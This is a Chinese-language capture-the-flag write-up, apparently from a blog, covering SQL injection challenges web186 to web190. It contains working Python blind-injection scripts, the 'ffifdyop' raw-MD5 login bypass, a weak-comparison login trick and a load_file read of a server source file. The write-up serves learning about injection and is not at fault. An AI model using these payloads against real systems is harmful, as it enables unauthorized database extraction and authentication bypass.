SQL注入篇3(web186到190)

1.web186

知识补充(构造数字):

expressionnumber
false0
true1
true+true2
floor(pi())3
ceil(pi())4
floor(pi())+true5
floor(pi())+floor(pi())6
floor(pi())+ceil(pi())7
ceil(pi())+ceil(pi())8
floor(pi())*floor(pi())9
floor(pi())*floor(pi())+true10

新增过滤  \%|\<|\>|\^,采用 regexp 正则表达式的方法来匹配,web185的脚本依然能用

import requests
import string
url="http://9e3d2b9e-cd80-46f6-a96d-fdae265dd694.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+'-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    payload={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=payload)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

2.web187

用户名为admin,密码为ffifdyop

对于$password = md5($_POST['password'],true);

如果可选的binary被设置为true 那么md5摘要将以16字符长度的原始二进制格式返回

 那么如果 md5($_POST['password'],true) 的返回值为 'or'1(除0外任意数字开头)xxx SQL语句将被拼接为

$sql="select count(*) from ctfshow_user where username='admin' and password=''or'1xxx'";

md5("ffifdyop",true) => 'or'6É]é!r,ùíb符合万能密码的条件

ctfshow-web9(奇妙的ffifdyop绕过)_ctfshowweb9源代码解析-CSDN博客(这个师傅讲的也很详细)

3.web188

在 SQL 中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。

关于密码的比较使用两个等号,也是弱类型比较。因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户。

登录后拿到flag

4.web189(布尔盲注)

flag在url/api/index.php中

不同用户名密码都是0回显不同如上两图

使用load_file函数读取文件 然后用python进行布尔盲注

from requests import post
from string import digits, ascii_lowercase

url = 'http://ef7805f2-38c3-46e4-a373-5dde5b7170a5.challenge.ctf.show/api/'
payload = "if(load_file('/var/www/html/api/index.php')regexp'{}',0,1)"
flag = 'ctfshow{'

while True:
    for c in '-}' + digits + ascii_lowercase:
        res = post(url, {'username': payload.format(flag + c), 'password': '0'}).text
        if '8bef' in res:
            flag += c
            print(flag)
            if c == '}':
                exit()

5.web190(布尔盲注)

username  采用了单引号包裹,password 还是弱类型比较 

ctfshow-web入门-sql注入(web186-web190)_ctfshowweb190-CSDN博客

# author:Myon
import requests
import string
url = "http://659e079a-cdd0-47e7-87ac-d6e65aaebcae.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        # data={
        #     'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解表名
        # data={
        #     'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解列名
        # data={
        #     'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
        #     'password': '1'
        # }
 
        # 猜解 flag
        data = {
            'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
            #这部分是 'username' 的值,它使用了Python的格式化字符串(f-string)。
            #格式化字符串允许你在字符串中插入变量或表达式的值。   
            'password': '1'
        }
 
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值